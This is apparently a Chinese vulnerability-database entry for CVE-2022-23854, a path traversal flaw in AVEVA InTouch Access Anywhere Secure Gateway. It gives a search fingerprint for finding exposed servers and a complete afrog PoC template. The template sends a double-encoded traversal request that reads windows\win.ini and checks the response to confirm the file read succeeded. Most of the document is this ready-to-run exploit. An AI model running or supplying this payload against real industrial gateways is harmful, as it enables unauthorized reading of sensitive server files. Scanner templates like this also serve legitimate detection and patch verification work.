CVE-2022-23854: AVEVA InTouch 安全网关 AccessAnywhere 任意文件读取漏洞

漏洞描述

AVEVA InTouch Access Anywhere Secure Gateway 2020 R2及以前的版本存在路径遍历漏洞，未授权的攻击者可利用该漏洞获取服务器敏感信息 body="InTouch Access Anywhere"

PoC代码[已公开]

id: CVE-2022-23854

info:
  name: AVEVA InTouch 安全网关 AccessAnywhere 任意文件读取漏洞
  author: zan8in
  severity: high
  description: |-
    AVEVA InTouch Access Anywhere Secure Gateway 2020 R2及以前的版本存在路径遍历漏洞，未授权的攻击者可利用该漏洞获取服务器敏感信息
    body="InTouch Access Anywhere"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23854
  tags: cve,cve2022,aveva,access-anywhere,file-read
  created: 2023/06/22

rules:
  r0:
    request:
      method: GET
      path: /AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini
    expression: response.status == 200 && response.raw_header.bcontains(b'EricomSecureGateway') && response.body.bcontains(b'for 16-bit app support') && response.body.bcontains(b'extensions')
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2022/CVE-2022-23854.yaml